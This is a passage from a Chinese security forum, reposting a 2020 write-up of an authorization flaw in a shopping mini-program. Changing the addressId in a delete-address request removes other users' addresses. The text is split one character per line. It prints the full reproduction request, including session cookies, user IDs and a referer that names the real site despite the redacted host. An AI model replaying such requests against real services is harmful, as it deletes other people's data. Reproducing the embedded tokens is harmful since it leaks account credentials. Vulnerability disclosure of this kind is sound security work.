论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
Web安全
[2127] 2020-08-22_某小程序订单地址存在越权删除
文档创建者：
s7ckTeam
浏览次数：
2
最后更新：
2025-01-16
Web安全
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-08-22_某小程序订单地址存在越权删除
某
小
程
序
订
单
地
址
存
在
越
权
删
除
原
创
无
剧
E
D
I
安
全
2
0
2
0
-
0
8
-
2
2
收
录
于
话
题
#
白
帽
之
旅
,
3
1
个
点
击
蓝
字
点
击
蓝
字
·
关
注
我
们
关
注
我
们
0
1
漏
洞
标
题
小
程
序
订
单
地
址
存
在
越
权
删
除
0
2
漏
洞
类
型
业
务
逻
辑
漏
洞
0
3
漏
洞
级
别
高
0
4
问
题
说
明
小
程
序
下
单
之
后
不
要
付
款
点
进
去
有
一
个
修
改
地
址
，
这
里
面
可
以
进
行
抓
包
修
改
i
d
可
以
进
行
越
权
删
除
地
址
0
5
P
O
S
T
0
6
漏
洞
复
现
G
E
T
/
z
z
x
/
t
r
a
n
s
f
e
r
/
d
e
l
e
t
e
A
d
d
r
e
s
s
?
a
d
d
r
e
s
s
I
d
=
1
2
7
3
5
4
9
8
3
2
6
7
1
7
2
3
5
3
6
H
T
T
P
/
1
.
1
H
o
s
t
:
a
p
p
.
X
X
X
X
X
.
c
o
m
O
r
i
g
i
n
:
h
t
t
p
s
:
/
/
m
.
X
X
X
X
X
.
c
o
m
C
o
o
k
i
e
:
P
P
U
=
"
T
T
=
7
3
9
e
0
c
6
b
4
c
3
d
9
c
3
3
2
c
0
6
a
2
0
b
f
f
d
0
7
f
c
3
7
e
c
c
5
5
7
8
&
U
I
D
=
4
4
0
1
5
0
8
6
3
1
6
8
1
7
&
S
F
=
Z
H
U
A
N
Z
H
U
A
N
&
S
C
T
=
1
5
9
2
4
7
4
4
0
5
8
9
2
&
V
=
1
&
E
T
=
1
5
9
5
0
6
2
8
0
5
8
9
2
"
;
Z
Z
U
=
"
T
T
=
7
3
9
e
0
c
6
b
4
c
3
d
9
c
3
3
2
c
0
6
a
2
0
b
f
f
d
0
7
f
c
3
7
e
c
c
5
5
7
8
&
U
I
D
=
4
4
0
1
5
0
8
6
3
1
6
8
1
7
&
S
F
=
Z
H
U
A
N
Z
H
U
A
N
&
S
C
T
=
1
5
9
2
4
7
4
4
0
5
8
9
2
&
V
=
1
&
E
T
=
1
5
9
5
0
6
2
8
0
5
8
9
2
"
z
z
V
i
s
i
t
S
t
a
c
k
=
[
{
"
t
y
p
e
"
:
"
z
z
-
s
h
o
w
D
o
c
u
m
e
n
t
"
,
"
h
r
e
f
"
:
"
h
t
t
p
s
%
3
A
%
2
F
%
2
F
m
.
X
X
X
X
X
.
c
o
m
%
2
F
t
r
X
X
X
a
d
e
%
2
F
o
r
d
e
r
-
d
e
t
a
i
l
%
2
F
h
o
m
e
.
h
t
m
l
%
3
F
o
r
d
e
r
I
d
%
3
D
1
2
7
3
5
4
7
7
5
9
5
6
5
8
9
4
6
7
0
%
2
6
_
_
a
p
p
I
d
%
3
D
w
x
9
d
f
7
4
4
3
1
2
5
e
6
f
0
1
a
%
2
6
_
_
t
%
3
D
1
0
3
%
2
6
_
_
i
s
w
a
%
3
D
1
%
2
6
u
i
d
%
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
6
P
P
U
%
3
D
T
T
%
2
5
2
5
3
D
7
3
9
e
0
c
6
b
4
c
3
d
9
c
3
3
2
c
0
6
a
2
0
b
f
f
d
0
7
f
c
3
7
e
c
c
5
5
7
8
%
2
5
2
5
2
6
U
I
D
%
2
5
2
5
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
5
2
5
2
6
S
F
%
2
5
2
5
3
D
Z
H
U
A
N
Z
H
U
A
N
%
2
5
2
5
2
6
S
C
T
%
2
5
2
5
3
D
1
5
9
2
4
7
4
4
0
5
8
9
2
%
2
5
2
5
2
6
V
%
2
5
2
5
3
D
1
%
2
5
2
5
2
6
E
T
%
2
5
2
5
3
D
1
5
9
5
0
6
2
8
0
5
8
9
2
%
2
6
t
k
%
3
D
w
t
-
o
H
Q
w
N
0
W
0
V
G
u
_
r
Z
t
8
_
V
W
5
8
j
q
y
f
U
i
c
%
2
6
c
h
a
n
n
e
l
i
d
%
3
D
n
o
n
e
%
2
6
b
i
n
d
P
h
o
n
e
%
3
D
1
%
2
6
i
s
W
A
S
e
t
%
3
D
1
%
2
6
_
_
w
a
_
t
i
m
e
_
s
t
a
m
p
%
3
D
1
5
9
2
4
7
2
5
2
4
6
7
4
"
{
"
t
y
p
e
"
:
"
p
o
p
s
t
a
t
e
"
,
"
h
r
e
f
"
:
"
h
t
t
p
s
%
3
A
%
2
F
%
2
F
m
.
X
X
X
X
X
.
c
o
m
%
2
F
t
r
a
d
e
%
2
F
o
r
d
e
r
-
d
e
t
a
i
l
%
2
F
h
o
m
e
.
h
t
m
l
%
3
F
o
r
d
e
r
I
d
%
3
D
1
2
7
3
5
4
7
7
5
9
5
6
5
8
9
4
6
7
0
%
2
6
_
_
a
p
p
I
d
%
3
D
w
x
9
d
f
7
4
4
3
1
2
5
e
6
f
0
1
a
%
2
6
_
_
t
%
3
D
1
0
3
%
2
6
_
_
i
s
w
a
%
3
D
1
%
2
6
u
i
d
%
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
6
P
P
U
%
3
D
T
T
%
2
5
2
5
3
D
7
3
9
e
0
c
6
b
4
c
3
d
9
c
3
3
2
c
0
6
a
2
0
b
f
f
d
0
7
f
c
3
7
e
c
c
5
5
7
8
%
2
5
2
5
2
6
U
I
D
%
2
5
2
5
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
5
2
5
2
6
S
F
%
2
5
2
5
3
D
Z
H
U
A
N
Z
H
U
A
N
%
2
5
2
5
2
6
S
C
T
%
2
5
2
5
3
D
1
5
9
2
4
7
4
4
0
5
8
9
2
%
2
5
2
5
2
6
V
%
2
5
2
5
3
D
1
%
2
5
2
5
2
6
E
T
%
2
5
2
5
3
D
1
5
9
5
0
6
2
8
0
5
8
9
2
%
2
6
t
k
%
3
D
w
t
-
o
H
Q
w
N
0
W
0
V
G
u
_
r
Z
t
8
_
V
W
5
8
j
q
y
f
U
i
c
%
2
6
c
h
a
n
n
e
l
i
d
%
3
D
n
o
n
e
%
2
6
b
i
n
d
P
h
o
n
e
%
3
D
1
%
2
6
i
s
W
A
S
e
t
%
3
D
1
%
2
6
_
_
w
a
_
t
i
m
e
_
s
t
a
m
p
%
3
D
1
5
9
2
4
7
2
5
2
4
6
7
4
%
2
3
_
_
d
e
f
H
a
s
h
R
o
o
t
e
r
_
_
%
3
F
_
_
i
s
o
n
s
h
o
w
%
3
D
1
%
2
6
_
_
w
a
c
h
a
n
g
e
h
a
s
h
%
3
D
1
%
2
6
_
_
h
a
s
h
t
i
m
e
s
t
a
m
p
%
3
D
1
5
9
2
4
7
2
6
8
9
3
6
9
"
{
"
t
y
p
e
"
:
"
p
o
p
s
t
a
t
e
"
,
"
h
r
e
f
"
:
"
h
t
t
p
s
%
3
A
%
2
F
%
2
F
m
.
X
X
X
X
.
c
o
m
%
2
F
t
r
a
d
e
%
2
F
o
r
d
e
r
-
d
e
t
a
i
l
%
2
F
h
o
m
e
.
h
t
m
l
%
3
F
o
r
d
e
r
I
d
%
3
D
1
2
7
3
5
4
7
7
5
9
5
6
5
8
9
4
6
7
0
%
2
6
_
_
a
p
p
I
d
%
3
D
w
x
9
d
f
7
4
4
3
1
2
5
e
6
f
0
1
a
%
2
6
_
_
t
%
3
D
1
0
3
%
2
6
_
_
i
s
w
a
%
3
D
1
%
2
6
u
i
d
%
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
6
P
P
U
%
3
D
T
T
%
2
5
2
5
3
D
7
3
9
e
0
c
6
b
4
c
3
d
9
c
3
3
2
c
0
6
a
2
0
b
f
f
d
0
7
f
c
3
7
e
c
c
5
5
7
8
%
2
5
2
5
2
6
U
I
D
%
2
5
2
5
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
5
2
5
2
6
S
F
%
2
5
2
5
3
D
Z
H
U
A
N
Z
H
U
A
N
%
2
5
2
5
2
6
S
C
T
%
2
5
2
5
3
D
1
5
9
2
4
7
4
4
0
5
8
9
2
%
2
5
2
5
2
6
V
%
2
5
2
5
3
D
1
%
2
5
2
5
2
6
E
T
%
2
5
2
5
3
D
1
5
9
5
0
6
2
8
0
5
8
9
2
%
2
6
t
k
%
3
D
w
t
-
o
H
Q
w
N
0
W
0
V
G
u
_
r
Z
t
8
_
V
W
5
8
j
q
y
f
U
i
c
%
2
6
c
h
a
n
n
e
l
i
d
%
3
D
n
o
n
e
%
2
6
b
i
n
d
P
h
o
n
e
%
3
D
1
%
2
6
i
s
W
A
S
e
t
%
3
D
1
%
2
6
_
_
w
a
_
t
i
m
e
_
s
t
a
m
p
%
3
D
1
5
9
2
4
7
2
5
2
4
6
7
4
"
v
=
6
.
8
.
0
;
J
S
E
S
S
I
O
N
I
D
=
1
1
C
8
A
4
3
9
9
0
C
3
6
2
E
A
7
4
D
B
0
3
B
4
4
F
E
2
9
3
D
F
;
s
m
a
r
k
=
s
y
0
2
;
S
D
K
V
e
r
s
i
o
n
=
2
.
1
1
.
2
;
i
d
5
8
=
c
5
/
n
R
1
7
r
L
S
p
r
S
e
v
k
+
L
T
l
A
g
=
=
;
i
d
z
z
=
c
5
/
n
R
1
7
r
L
S
h
s
t
+
v
m
i
J
J
V
A
g
=
=
C
o
n
n
e
c
t
i
o
n
:
c
l
o
s
e
A
c
c
e
p
t
:
a
p
p
l
i
c
a
t
i
o
n
/
j
s
o
n
,
t
e
x
t
/
p
l
a
i
n
,
*
/
*
U
s
e
r
-
A
g
e
n
t
:
M
o
z
i
l
l
a
/
5
.
0
(
i
P
h
o
n
e
;
C
P
U
i
P
h
o
n
e
O
S
1
3
_
5
_
1
l
i
k
e
M
a
c
O
S
X
)
A
p
p
l
e
W
e
b
K
i
t
/
6
0
5
.
1
.
1
5
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
M
o
b
i
l
e
/
1
5
E
1
4
8
M
i
c
r
o
M
e
s
s
e
n
g
e
r
/
7
.
0
.
1
3
(
0
x
1
7
0
0
0
d
2
4
)
N
e
t
T
y
p
e
/
W
I
F
I
L
a
n
g
u
a
g
e
/
z
h
_
C
N
m
i
n
i
P
r
o
g
r
a
m
A
c
c
e
p
t
-
L
a
n
g
u
a
g
e
:
z
h
-
c
n
R
e
f
e
r
e
r
:
h
t
t
p
s
:
/
/
m
X
X
X
X
X
X
X
X
X
o
m
/
t
r
a
d
e
/
u
s
e
r
-
a
d
d
r
e
s
s
/
i
n
d
e
x
.
h
t
m
l
?
u
r
l
=
h
t
t
p
s
%
3
A
%
2
F
%
2
F
m
.
z
h
u
a
n
z
h
u
a
n
.
c
o
m
%
2
F
t
r
a
d
e
%
2
F
o
r
d
e
r
-
d
e
t
a
i
l
%
2
F
h
o
m
e
.
h
t
m
l
%
3
F
a
d
d
r
e
s
s
I
d
%
3
D
0
%
2
6
o
r
d
e
r
I
d
%
3
D
1
2
7
3
5
4
7
7
5
9
5
6
5
8
9
4
6
7
0
%
2
6
_
_
a
p
p
I
d
%
3
D
w
x
9
d
f
7
4
4
3
1
2
5
e
6
f
0
1
a
%
2
6
_
_
t
%
3
D
1
0
3
%
2
6
_
_
i
s
w
a
%
3
D
1
%
2
6
u
i
d
%
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
6
P
P
U
%
3
D
T
T
%
2
5
2
5
3
D
7
3
9
e
0
c
6
b
4
c
3
d
9
c
3
3
2
c
0
6
a
2
0
b
f
f
d
0
7
f
c
3
7
e
c
c
5
5
7
8
%
2
5
2
5
2
6
U
I
D
%
2
5
2
5
3
D
4
4
0
1
5
0
8
6
3
1
6
8
1
7
%
2
5
2
5
2
6
S
F
%
2
5
2
5
3
D
Z
H
U
A
N
Z
H
U
A
N
%
2
5
2
5
2
6
S
C
T
%
2
5
2
5
3
D
1
5
9
2
4
7
4
4
0
5
8
9
2
%
2
5
2
5
2
6
V
%
2
5
2
5
3
D
1
%
2
5
2
5
2
6
E
T
%
2
5
2
5
3
D
1
5
9
5
0
6
2
8
0
5
8
9
2
%
2
6
t
k
%
3
D
w
t
-
o
H
Q
w
N
0
W
0
V
G
u
_
r
Z
t
8
_
V
W
5
8
j
q
y
f
U
i
c
%
2
6
c
h
a
n
n
e
l
i
d
%
3
D
n
o
n
e
%
2
6
b
i
n
d
P
h
o
n
e
%
3
D
1
%
2
6
i
s
W
A
S
e
t
%
3
D
1
%
2
6
_
_
w
a
_
t
i
m
e
_
s
t
a
m
p
%
3
D
1
5
9
2
4
7
2
5
2
4
6
7
4
&
a
d
d
r
e
s
s
I
d
=
P
S
：
本
文
仅
用
于
技
术
讨
论
与
分
析
，
严
禁
用
于
任
何
非
法
用
途
，
违
者
后
果
自
负
。
：
本
文
仅
用
于
技
术
讨
论
与
分
析
，
严
禁
用
于
任
何
非
法
用
途
，
违
者
后
果
自
负
。
E
D
I
安
全
一
个
专
注
渗
透
实
战
经
验
分
享
的
公
众
号
扫
二
维
码
｜
关
注
我
们
扫
二
维
码
｜
关
注
我
们
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
Web安全